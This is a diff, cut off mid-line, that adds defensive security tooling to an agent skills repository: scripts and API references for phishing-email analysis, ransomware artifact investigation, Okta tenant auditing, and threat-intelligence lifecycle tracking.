{"error": f"VT returned {resp.status_code}"} + + +def hash_attachment(filepath: str) -> dict: + """Calculate MD5 and SHA-256 hashes for an attachment.""" + with open(filepath, "rb") as f: + content = f.read() + return { + "filename": filepath, + "size_bytes": len(content), + "md5": hashlib.md5(content).hexdigest(), + "sha256": hashlib.sha256(content).hexdigest(), + } + + +def check_hash_virustotal(file_hash: str, api_key: str) -> dict: + """Look up file hash on VirusTotal.""" + if not api_key: + return {"error": "VT_API_KEY not set"} + + resp = requests.get( + f"https://www.virustotal.com/api/v3/files/{file_hash}", + headers={"x-apikey": api_key}, + timeout=30, + ) + if resp.status_code == 200: + attrs = resp.json().get("data", {}).get("attributes", {}) + stats = attrs.get("last_analysis_stats", {}) + return { + "detection_name": attrs.get("popular_threat_classification", {}).get("suggested_threat_label", "unknown"), + "malicious": stats.get("malicious", 0), + "total_engines": sum(stats.values()), + } + return {"error": f"Hash not found or VT error: {resp.status_code}"} + + +def generate_ioc_list(headers: dict, urls: list[str], attachments: list[dict]) -> dict: + """Compile indicators of compromise from the investigation.""" + iocs = {"domains": set(), "ips": set(), "urls": urls, "hashes": []} + + for url in urls: + domain_match = re.search(r"https?://([^/]+)", url) + if domain_match: + iocs["domains"].add(domain_match.group(1)) + + if headers.get("x_originating_ip"): + iocs["ips"].add(headers["x_originating_ip"].strip("[]")) + + for att in attachments: + iocs["hashes"].append({"md5": att["md5"], "sha256": att["sha256"]}) + + iocs["domains"] = sorted(iocs["domains"]) + iocs["ips"] = sorted(iocs["ips"]) + return iocs + + +def generate_report(headers: dict, urls: list[str], iocs: dict) -> str: + """Generate phishing investigation report.""" + lines = [ + f"PHISHING INCIDENT REPORT", + "=" * 50, + f"Report Generated: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + f"From: {headers['from']}", + f"Return-Path: {headers['return_path']}", + f"Subject: {headers['subject']}", + f"SPF: {headers['spf']} DKIM: {headers['dkim']} DMARC: {headers['dmarc']}", + "", + f"URLs Found: {len(urls)}", + ] + for u in urls[:10]: + lines.append(f" - {u}") + lines.extend(["", f"IOC Domains: {', '.join(iocs['domains'])}", + f"IOC IPs: {', '.join(iocs['ips'])}", + f"IOC Hashes: {len(iocs['hashes'])}"]) + return "\n".join(lines) + + +if __name__ == "__main__": + import os + VT_API_KEY = os.getenv("VT_API_KEY", VT_API_KEY) + URLSCAN_API_KEY = os.getenv("URLSCAN_API_KEY", URLSCAN_API_KEY) + + eml_path = sys.argv[1] if len(sys.argv) > 1 else "phishing_sample.eml" + + print(f"[*] Analyzing phishing email: {eml_path}") + headers = parse_email_headers(eml_path) + urls = extract_urls_from_email(eml_path) + + print(f"[*] Found {len(urls)} URLs in email body") + for url in urls[:5]: + if URLSCAN_API_KEY: + result = check_url_urlscan(url, URLSCAN_API_KEY) + print(f" URLScan: {result}") + + iocs = generate_ioc_list(headers, urls, []) + report = generate_report(headers, urls, iocs) + print(report) + + output = f"phishing_report_{datetime.now(timezone.utc).strftime('%Y%m%d_%H%M%S')}.json" + with open(output, "w") as f: + json.dump({"headers": headers, "urls": urls, "iocs": iocs}, f, indent=2) + print(f"\n[*] Results saved to {output}") diff --git a/skills/investigating-ransomware-attack-artifacts/LICENSE b/skills/investigating-ransomware-attack-artifacts/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/investigating-ransomware-attack-artifacts/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/investigating-ransomware-attack-artifacts/references/api-reference.md b/skills/investigating-ransomware-attack-artifacts/references/api-reference.md new file mode 100644 index 00000000..9a6172ad --- /dev/null +++ b/skills/investigating-ransomware-attack-artifacts/references/api-reference.md @@ -0,0 +1,57 @@ +# API Reference: Investigating Ransomware Attack Artifacts + +## VirusTotal API v3 + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v3/files/{hash}` | GET | Look up ransomware sample by MD5/SHA-256 | +| `/api/v3/files` | POST | Upload ransomware sample for analysis | +| `/api/v3/files/{id}/behaviour_summary` | GET | Retrieve behavioral analysis results | + +## ID Ransomware + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `https://id-ransomware.malwarehunterteam.com/` | POST | Upload ransom note or encrypted sample for variant ID | + +## No More Ransom Project + +| Resource | Description | +|----------|-------------| +| `https://www.nomoreransom.org/crypto-sheriff.php` | Check if free decryptor is available for identified variant | + +## MalwareBazaar API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `https://mb-api.abuse.ch/api/v1/` | POST | Query ransomware samples by hash, tag, or signature | + +## Key Libraries + +- **requests**: HTTP client for VirusTotal and ID Ransomware API calls +- **hashlib** (stdlib): Calculate MD5/SHA-256 hashes of ransomware samples and notes +- **re** (stdlib): Extract Bitcoin addresses, Tor .onion sites, and emails from notes +- **csv** (stdlib): Parse exported Windows Event Log data +- **pathlib** (stdlib): Recursive file system traversal for artifact discovery + +## Ransomware IOC Patterns + +| Pattern | Regex | Description | +|---------|-------|-------------| +| Bitcoin | `[13][a-km-zA-HJ-NP-Z1-9]{25,34}` | Legacy Bitcoin addresses | +| Bitcoin Bech32 | `bc1[a-z0-9]{39,59}` | SegWit Bitcoin addresses | +| Monero | `4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}` | Monero wallet addresses | +| Tor Sites | `[a-z2-7]{16,56}\.onion` | Tor hidden service domains | + +## Configuration + +| Variable | Description | +|----------|-------------| +| `VT_API_KEY` | VirusTotal API key for hash lookups and sample submission | + +## References + +- [ID Ransomware](https://id-ransomware.malwarehunterteam.com/) +- [No More Ransom Project](https://www.nomoreransom.org/) +- [CISA Stop Ransomware](https://www.cisa.gov/stopransomware) +- [VirusTotal API v3](https://docs.virustotal.com/reference/overview) diff --git a/skills/investigating-ransomware-attack-artifacts/scripts/agent.py b/skills/investigating-ransomware-attack-artifacts/scripts/agent.py new file mode 100644 index 00000000..c8bd2ccc --- /dev/null +++ b/skills/investigating-ransomware-attack-artifacts/scripts/agent.py @@ -0,0 +1,206 @@ +#!/usr/bin/env python3 +""" +Ransomware Attack Artifact Investigation Agent +Collects and analyzes ransomware artifacts including ransom notes, encrypted +file samples, registry modifications, and event logs to identify the variant, +attack vector, and encryption scope. +""" + +import hashlib +import json +import os +import re +import sys +from datetime import datetime, timezone +from pathlib import Path + +import requests + + +RANSOMWARE_ID_URL = "https://id-ransomware.malwarehunterteam.com/api/" +VT_API_KEY = "" + + +def collect_ransom_notes(search_root: str) -> list[dict]: + """Search filesystem for common ransom note filenames.""" + ransom_note_patterns = [ + "README.txt", "DECRYPT*.txt", "HOW_TO_DECRYPT*", "RECOVER*", + "_readme.txt", "!README!*", "HELP_DECRYPT*", "YOUR_FILES*", + "ATTENTION*.txt", "RESTORE*FILES*", "#DECRYPT#*", "info.hta", + ] + found_notes = [] + root = Path(search_root) + + for pattern in ransom_note_patterns: + for match in root.rglob(pattern): + if match.is_file() and match.stat().st_size < 1_000_000: + with open(match, "r", errors="ignore") as f: + content = f.read(4096) + found_notes.append({ + "path": str(match), + "filename": match.name, + "size": match.stat().st_size, + "content_preview": content[:500], + "sha256": hashlib.sha256(content.encode()).hexdigest(), + }) + + return found_notes + + +def identify_encrypted_files(search_root: str) -> dict: + """Identify encrypted files by extension and calculate scope.""" + known_extensions = [ + ".encrypted", ".locked", ".crypto", ".crypt", ".enc", + ".locky", ".zepto", ".cerber", ".dharma", ".phobos", + ".ryuk", ".conti", ".lockbit", ".blackcat", ".hive", + ".akira", ".royal", ".play", ".clop", ".alphv", + ] + encrypted_files = [] + extension_counts = {} + total_size = 0 + + root = Path(search_root) + for filepath in root.rglob("*"): + if filepath.is_file(): + ext = filepath.suffix.lower() + if ext in known_extensions: + encrypted_files.append(str(filepath)) + extension_counts[ext] = extension_counts.get(ext, 0) + 1 + total_size += filepath.stat().st_size + + return { + "total_encrypted_files": len(encrypted_files), + "total_encrypted_size_gb": round(total_size / (1024**3), 2), + "extensions_found": extension_counts, + "sample_files": encrypted_files[:20], + } + + +def analyze_ransom_note_content(notes: list[dict]) -> dict: + """Extract IOCs and payment details from ransom notes.""" + bitcoin_pattern = re.compile(r"[13][a-km-zA-HJ-NP-Z1-9]{25,34}|bc1[a-z0-9]{39,59}") + monero_pattern = re.compile(r"4[0-9AB][1-9A-HJ-NP-Za-km-z]{93}") + tor_pattern = re.compile(r"[a-z2-7]{16,56}\.onion") + email_pattern = re.compile(r"[\w.+-]+@[\w-]+\.[a-zA-Z]{2,}") + + iocs = {"bitcoin_addresses": set(), "monero_addresses": set(), + "tor_sites": set(), "email_contacts": set(), "ransom_amounts": []} + + for note in notes: + content = note.get("content_preview", "") + for match in bitcoin_pattern.findall(content): + iocs["bitcoin_addresses"].add(match) + for match in monero_pattern.findall(content): + iocs["monero_addresses"].add(match) + for match in tor_pattern.findall(content): + iocs["tor_sites"].add(match) + for match in email_pattern.findall(content): + iocs["email_contacts"].add(match) + + amount_match = re.search(r"\$\s?([\d,]+)", content) + if amount_match: + iocs["ransom_amounts"].append(amount_match.group(0)) + + return {k: sorted(v) if isinstance(v, set) else v for k, v in iocs.items()} + + +def check_hash_virustotal(file_hash: str, api_key: str) -> dict: + """Look up file hash on VirusTotal for ransomware identification.""" + if not api_key: + return {"error": "VT_API_KEY not configured"} + resp = requests.get( + f"https://www.virustotal.com/api/v3/files/{file_hash}", + headers={"x-apikey": api_key}, timeout=30, + ) + if resp.status_code == 200: + attrs = resp.json().get("data", {}).get("attributes", {}) + return { + "threat_label": attrs.get("popular_threat_classification", {}).get( + "suggested_threat_label", "unknown"), + "detection_ratio": f"{attrs.get('last_analysis_stats', {}).get('malicious', 0)}" + f"/{sum(attrs.get('last_analysis_stats', {}).values())}", + "first_seen": attrs.get("first_submission_date", ""), + "names": attrs.get("names", [])[:5], + } + return {"error": f"VT lookup failed: {resp.status_code}"} + + +def parse_windows_event_logs(evtx_export_path: str) -> list[dict]: + """Parse exported Windows event log CSV for ransomware indicators.""" + events = [] + if not os.path.exists(evtx_export_path): + return events + + import csv + with open(evtx_export_path, "r", newline="", errors="ignore") as f: + reader = csv.DictReader(f) + for row in reader: + event_id = row.get("EventID", row.get("event_id", "")) + suspicious_ids = ["1102", "4688", "4697", "7045", "1116", "4624"] + if str(event_id) in suspicious_ids: + events.append({ + "timestamp": row.get("TimeCreated", row.get("timestamp", "")), + "event_id": event_id, + "source": row.get("ProviderName", row.get("source", "")), + "message": row.get("Message", row.get("message", ""))[:300], + }) + + return events + + +def generate_report(notes: list, encrypted: dict, iocs: dict, events: list) -> str: + """Generate ransomware investigation report.""" + lines = [ + "RANSOMWARE ATTACK ARTIFACT INVESTIGATION REPORT", + "=" * 55, + f"Investigation Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + "RANSOM NOTES:", + f" Notes Found: {len(notes)}", + ] + for note in notes[:5]: + lines.append(f" - {note['filename']} ({note['path']})") + + lines.extend([ + "", + "ENCRYPTION SCOPE:", + f" Encrypted Files: {encrypted['total_encrypted_files']}", + f" Total Size: {encrypted['total_encrypted_size_gb']} GB", + f" Extensions: {json.dumps(encrypted['extensions_found'])}", + "", + "EXTRACTED IOCs:", + f" Bitcoin Addresses: {len(iocs.get('bitcoin_addresses', []))}", + f" Tor Sites: {len(iocs.get('tor_sites', []))}", + f" Contact Emails: {len(iocs.get('email_contacts', []))}", + "", + f"SUSPICIOUS EVENTS: {len(events)}", + ]) + for evt in events[:10]: + lines.append(f" [{evt['event_id']}] {evt['timestamp']} - {evt['message'][:80]}") + + return "\n".join(lines) + + +if __name__ == "__main__": + VT_API_KEY = os.getenv("VT_API_KEY", VT_API_KEY) + search_root = sys.argv[1] if len(sys.argv) > 1 else "." + evtx_path = sys.argv[2] if len(sys.argv) > 2 else "events.csv" + + print(f"[*] Investigating ransomware artifacts in: {search_root}") + + notes = collect_ransom_notes(search_root) + print(f"[*] Found {len(notes)} ransom notes") + + encrypted = identify_encrypted_files(search_root) + print(f"[*] Found {encrypted['total_encrypted_files']} encrypted files") + + iocs = analyze_ransom_note_content(notes) + events = parse_windows_event_logs(evtx_path) + + report = generate_report(notes, encrypted, iocs, events) + print(report) + + output = f"ransomware_investigation_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump({"ransom_notes": notes, "encrypted_files": encrypted, "iocs": iocs, "events": events}, f, indent=2) + print(f"\n[*] Results saved to {output}") diff --git a/skills/managing-cloud-identity-with-okta/LICENSE b/skills/managing-cloud-identity-with-okta/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/managing-cloud-identity-with-okta/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/managing-cloud-identity-with-okta/references/api-reference.md b/skills/managing-cloud-identity-with-okta/references/api-reference.md new file mode 100644 index 00000000..3a93d264 --- /dev/null +++ b/skills/managing-cloud-identity-with-okta/references/api-reference.md @@ -0,0 +1,63 @@ +# API Reference: Managing Cloud Identity with Okta + +## Okta Users API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v1/users` | GET | List all users with status and profile data | +| `/api/v1/users/{userId}` | GET | Get user profile and enrollment status | +| `/api/v1/users/{userId}/factors` | GET | List enrolled MFA factors for a user | +| `/api/v1/users/{userId}/lifecycle/deactivate` | POST | Deactivate a user account | +| `/api/v1/users/{userId}/lifecycle/suspend` | POST | Suspend a user account | + +## Okta Applications API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v1/apps` | GET | List all application integrations | +| `/api/v1/apps/{appId}` | GET | Get application SSO config (SAML/OIDC) | +| `/api/v1/apps/{appId}/users` | GET | List users assigned to an application | +| `/api/v1/apps/{appId}/groups` | GET | List groups assigned to an application | + +## Okta Policies API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v1/policies?type=OKTA_SIGN_ON` | GET | List sign-on policies | +| `/api/v1/policies?type=MFA_ENROLL` | GET | List MFA enrollment policies | +| `/api/v1/policies/{policyId}/rules` | GET | List rules within a policy | + +## Okta Groups API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v1/groups` | GET | List all groups | +| `/api/v1/groups/{groupId}/users` | GET | List members of a group | + +## Key Libraries + +- **okta** (`pip install okta`): Official Okta Python SDK with async support +- **okta-jwt-verifier**: Verify Okta-issued JWT tokens +- **requests**: Fallback HTTP client for direct Okta REST API calls + +## Configuration + +| Variable | Description | +|----------|-------------| +| `OKTA_ORG_URL` | Okta organization URL (e.g., `https://company.okta.com`) | +| `OKTA_API_TOKEN` | API token with `okta.users.read`, `okta.apps.read` scopes | +| `OKTA_CLIENT_ID` | OAuth app client ID for service-to-service auth | + +## Rate Limits + +| Endpoint Category | Rate Limit | +|-------------------|------------| +| `/api/v1/users` | 600 requests/minute | +| `/api/v1/apps` | 600 requests/minute | +| `/api/v1/logs` | 120 requests/minute | + +## References + +- [Okta API Reference](https://developer.okta.com/docs/reference/api/) +- [Okta Python SDK](https://github.com/okta/okta-sdk-python) +- [Okta Security Best Practices](https://developer.okta.com/docs/concepts/security-best-practices/) diff --git a/skills/managing-cloud-identity-with-okta/scripts/agent.py b/skills/managing-cloud-identity-with-okta/scripts/agent.py new file mode 100644 index 00000000..bc4233f3 --- /dev/null +++ b/skills/managing-cloud-identity-with-okta/scripts/agent.py @@ -0,0 +1,227 @@ +#!/usr/bin/env python3 +""" +Okta Cloud Identity Management Agent +Audits Okta tenant configuration including SSO apps, MFA policies, +lifecycle rules, and user provisioning status using the Okta Python SDK. +""" + +import json +import os +import sys +from datetime import datetime, timezone + +from okta.client import Client as OktaClient + + +async def get_okta_client(org_url: str, api_token: str) -> OktaClient: + """Initialize Okta SDK client.""" + config = { + "orgUrl": org_url, + "token": api_token, + } + return OktaClient(config) + + +async def audit_users(client: OktaClient) -> dict: + """Audit user accounts for security issues.""" + users, _, _ = await client.list_users() + total = len(users) + active = 0 + suspended = 0 + deprovisioned = 0 + no_mfa = [] + stale_users = [] + + for user in users: + status = user.status + if status == "ACTIVE": + active += 1 + elif status == "SUSPENDED": + suspended += 1 + elif status == "DEPROVISIONED": + deprovisioned += 1 + + factors, _, _ = await client.list_factors(user.id) # okta.client.list_factors(userId) + if not factors: + no_mfa.append({ + "user_id": user.id, + "login": user.profile.login, + "status": status, + }) + + if user.last_login: + last = datetime.fromisoformat(user.last_login.replace("Z", "+00:00")) + days_inactive = (datetime.now(timezone.utc) - last).days + if days_inactive > 90: + stale_users.append({ + "login": user.profile.login, + "days_inactive": days_inactive, + "status": status, + }) + + return { + "total_users": total, + "active": active, + "suspended": suspended, + "deprovisioned": deprovisioned, + "users_without_mfa": no_mfa, + "stale_users_90d": stale_users, + } + + +async def audit_applications(client: OktaClient) -> dict: + """Audit SSO application integrations.""" + apps, _, _ = await client.list_applications() + app_details = [] + + for app in apps: + sign_on = getattr(app, "signOnMode", "unknown") + app_details.append({ + "id": app.id, + "label": app.label, + "status": app.status, + "sign_on_mode": sign_on, + "created": str(getattr(app, "created", "")), + }) + + saml_apps = [a for a in app_details if "SAML" in a["sign_on_mode"].upper()] + oidc_apps = [a for a in app_details if "OPENID" in a["sign_on_mode"].upper()] + inactive_apps = [a for a in app_details if a["status"] != "ACTIVE"] + + return { + "total_apps": len(app_details), + "saml_apps": len(saml_apps), + "oidc_apps": len(oidc_apps), + "inactive_apps": len(inactive_apps), + "applications": app_details, + } + + +async def audit_policies(client: OktaClient) -> dict: + """Audit authentication and sign-on policies.""" + policies, _, _ = await client.list_policies({"type": "OKTA_SIGN_ON"}) + policy_details = [] + + for policy in policies: + rules, _, _ = await client.list_policy_rules(policy.id) + rule_details = [] + for rule in rules: + rule_details.append({ + "name": rule.name, + "status": rule.status, + "type": getattr(rule, "type", "unknown"), + }) + + policy_details.append({ + "id": policy.id, + "name": policy.name, + "status": policy.status, + "rules_count": len(rules), + "rules": rule_details, + }) + + mfa_policies, _, _ = await client.list_policies({"type": "MFA_ENROLL"}) + mfa_details = [] + for policy in mfa_policies: + mfa_details.append({ + "id": policy.id, + "name": policy.name, + "status": policy.status, + }) + + return { + "sign_on_policies": policy_details, + "mfa_enrollment_policies": mfa_details, + } + + +async def audit_groups(client: OktaClient) -> dict: + """Audit group membership and assignments.""" + groups, _, _ = await client.list_groups() + group_details = [] + + for group in groups: + members, _, _ = await client.list_group_users(group.id) + group_details.append({ + "id": group.id, + "name": group.profile.name, + "type": group.type, + "member_count": len(members), + }) + + return { + "total_groups": len(group_details), + "groups": group_details, + } + + +def generate_report(users: dict, apps: dict, policies: dict, groups: dict) -> str: + """Generate Okta identity audit report.""" + lines = [ + "OKTA CLOUD IDENTITY AUDIT REPORT", + "=" * 50, + f"Report Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M UTC')}", + "", + "USER INVENTORY:", + f" Total Users: {users['total_users']}", + f" Active: {users['active']} Suspended: {users['suspended']} Deprovisioned: {users['deprovisioned']}", + f" Users Without MFA: {len(users['users_without_mfa'])}", + f" Stale Users (90+ days): {len(users['stale_users_90d'])}", + "", + "APPLICATION INTEGRATIONS:", + f" Total Apps: {apps['total_apps']}", + f" SAML SSO: {apps['saml_apps']} OIDC: {apps['oidc_apps']}", + f" Inactive Apps: {apps['inactive_apps']}", + "", + "POLICIES:", + f" Sign-On Policies: {len(policies['sign_on_policies'])}", + f" MFA Enrollment Policies: {len(policies['mfa_enrollment_policies'])}", + "", + "GROUPS:", + f" Total Groups: {groups['total_groups']}", + "", + "ISSUES:", + ] + + issues = [] + if users["users_without_mfa"]: + issues.append(f"[HIGH] {len(users['users_without_mfa'])} users have no MFA enrolled") + if users["stale_users_90d"]: + issues.append(f"[MEDIUM] {len(users['stale_users_90d'])} users inactive for 90+ days") + if apps["inactive_apps"]: + issues.append(f"[LOW] {apps['inactive_apps']} inactive application integrations") + + for issue in issues: + lines.append(f" {issue}") + + return "\n".join(lines) + + +async def main(): + org_url = os.getenv("OKTA_ORG_URL", "https://your-org.okta.com") + api_token = os.getenv("OKTA_API_TOKEN", "") + + if not api_token: + print("[!] Set OKTA_API_TOKEN environment variable") + sys.exit(1) + + print(f"[*] Connecting to Okta: {org_url}") + client = await get_okta_client(org_url, api_token) + + users = await audit_users(client) + apps = await audit_applications(client) + policies = await audit_policies(client) + groups = await audit_groups(client) + + report = generate_report(users, apps, policies, groups) + print(report) + + output = f"okta_audit_{datetime.now(timezone.utc).strftime('%Y%m%d')}.json" + with open(output, "w") as f: + json.dump({"users": users, "apps": apps, "policies": policies, "groups": groups}, f, indent=2, default=str) + print(f"\n[*] Results saved to {output}") + + +if __name__ == "__main__": + import asyncio + asyncio.run(main()) diff --git a/skills/managing-intelligence-lifecycle/LICENSE b/skills/managing-intelligence-lifecycle/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/managing-intelligence-lifecycle/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/managing-intelligence-lifecycle/references/api-reference.md b/skills/managing-intelligence-lifecycle/references/api-reference.md new file mode 100644 index 00000000..2bd4dd09 --- /dev/null +++ b/skills/managing-intelligence-lifecycle/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Managing Intelligence Lifecycle + +## MITRE ATT&CK STIX/TAXII + +| Endpoint | Description | +|----------|-------------| +| `cti-taxii.mitre.org/stix/collections/` | TAXII server for ATT&CK STIX bundles | +| `attack.mitre.org/versions/` | ATT&CK version history and changelogs | + +## Recorded Future API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/v2/alert/search` | GET | Search intelligence alerts by rule and priority | +| `/v2/entity/search` | GET | Search threat actors, malware, and vulnerabilities | +| `/v2/indicator/search` | GET | Search IOCs with risk scores | + +## MISP REST API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/events` | GET/POST | List or create threat intelligence events | +| `/attributes/restSearch` | POST | Search for IOCs across all events | +| `/feeds` | GET | List configured intelligence feeds | + +## OpenCTI GraphQL API + +| Query | Description | +|-------|-------------| +| `stixCoreObjects` | Query threat actors, malware, and campaigns | +| `reports` | List intelligence reports with confidence scores | +| `indicators` | Query IOCs with STIX pattern matching | + +## Key Libraries + +- **stix2**: Create and parse STIX 2.1 threat intelligence objects +- **taxii2-client**: Connect to TAXII 2.1 servers for ATT&CK data +- **pymisp**: Python client for MISP threat intelligence platform +- **requests**: HTTP client for Recorded Future and custom feed APIs + +## Configuration + +| Variable | Description | +|----------|-------------| +| `MISP_URL` | MISP instance URL | +| `MISP_API_KEY` | MISP API authentication key | +| `RF_API_TOKEN` | Recorded Future API token | +| `OPENCTI_URL` | OpenCTI platform URL | +| `OPENCTI_TOKEN` | OpenCTI API bearer token | + +## References + +- [NIST SP 800-150: Guide to CTI Sharing](https://csrc.nist.gov/publications/detail/sp/800-150/final) +- [FIRST CTI-SIG Maturity Model](https://www.first.org/global/sigs/cti/) +- [MITRE ATT&CK](https://attack.mitre.org/) +- [STIX/TAXII Documentation](https://oasis-open.github.io/cti-documentation/) diff --git a/skills/managing-intelligence-lifecycle/scripts/agent.py b/skills/managing-intelligence-lifecycle/scripts/agent.py new file mode 100644 index 00000000..741e06eb --- /dev/null +++ b/skills/managing-intelligence-lifecycle/scripts/agent.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +""" +Cyber Threat Intelligence Lifecycle Management Agent +Manages the CTI lifecycle from requirements gathering through dissemination, +tracking PIRs, collection sources, and intelligence product metrics. +""" + +import json +import os +import sys +from datetime import datetime, timezone, timedelta + + +def load_intelligence_requirements(filepath: str) -> list[dict]: + """Load Priority Intelligence Requirements (PIRs) from config.""" + if os.path.exists(filepath): + with open(filepath, "r") as f: + return json.load(f) + + return [ + {"id": "PIR-001", "requirement": "Which threat actors are actively targeting our industry sector?", + "stakeholder": "CISO", "priority": "HIGH", "status": "active", "review_date": "2024-06-01"}, + {"id": "PIR-002", "requirement": "What new vulnerabilities affect our technology stack?", + "stakeholder": "VP Engineering", "priority": "HIGH", "status": "active", "review_date": "2024-06-01"}, + {"id": "PIR-003", "requirement": "Are any of our credentials or data exposed on dark web?", + "stakeholder": "CISO", "priority": "MEDIUM", "status": "active", "review_date": "2024-06-01"}, + ] + + +def evaluate_collection_sources(sources_file: str) -> list[dict]: + """Evaluate intelligence collection source coverage and quality.""" + if os.path.exists(sources_file): + with open(sources_file, "r") as f: + return json.load(f) + + return [ + {"name": "MITRE ATT&CK", "type": "open-source", "category": "TTPs", + "reliability": "A", "update_freq": "quarterly", "pirs_covered": ["PIR-001"]}, + {"name": "NVD/CVE", "type": "open-source", "category": "vulnerabilities", + "reliability": "A", "update_freq": "daily", "pirs_covered": ["PIR-002"]}, + {"name": "Recorded Future", "type": "commercial", "category": "multi-source", + "reliability": "B", "update_freq": "real-time", "pirs_covered": ["PIR-001", "PIR-002", "PIR-003"]}, + {"name": "VirusTotal", "type": "commercial", "category": "IOCs", + "reliability": "B", "update_freq": "real-time", "pirs_covered": ["PIR-001"]}, + {"name": "ISAC Feeds", "type": "sharing-community", "category": "sector-specific", + "reliability": "B", "update_freq": "weekly", "pirs_covered": ["PIR-001", "PIR-002"]}, + ] + + +def assess_pir_coverage(pirs: list[dict], sources: list[dict]) -> dict: + """Assess how well collection sources cover PIRs.""" + coverage = {} + for pir in pirs: + pir_id = pir["id"] + covering_sources = [s["name"] for s in sources if pir_id in s.get("pirs_covered", [])] + coverage[pir_id] = { + "requirement": pir["requirement"], + "priority": pir["priority"], + "sources_count": len(covering_sources), + "sources": covering_sources, + "gap": len(covering_sources) == 0, + } + + total_pirs = len(pirs) + covered_pirs = sum(1 for c in coverage.values() if not c["gap"]) + gap_pirs = [pid for pid, c in coverage.items() if c["gap"]] + + return { + "total_pirs": total_pirs, + "covered_pirs": covered_pirs, + "coverage_pct": round(covered_pirs / max(total_pirs, 1) * 100, 1), + "gaps": gap_pirs, + "details": coverage, + } + + +def track_intelligence_products(products_file: str) -> dict: + """Track intelligence products and dissemination metrics.""" + if os.path.exists(products_file): + with open(products_file, "r") as f: + products = json.load(f) + else: + products = [ + {"id": "PROD-001", "type": "Weekly Threat Briefing", "audience": "SOC Team", + "frequency": "weekly", "last_published": "2024-03-08", "feedback_score": 4.2}, + {"id": "PROD-002", "type": "Threat Actor Profile", "audience": "Executive Leadership", + "frequency": "monthly", "last_published": "2024-03-01", "feedback_score": 3.8}, + {"id": "PROD-003", "type": "IOC Feed", "audience": "SIEM/EDR", + "frequency": "daily", "last_published": "2024-03-15", "feedback_score": 4.5}, + {"id": "PROD-004", "type": "Vulnerability Intelligence", "audience": "Engineering", + "frequency": "weekly", "last_published": "2024-03-10", "feedback_score": 4.0}, + ] + + overdue = [] + for prod in products: + last = datetime.strptime(prod["last_published"], "%Y-%m-%d") + freq_days = 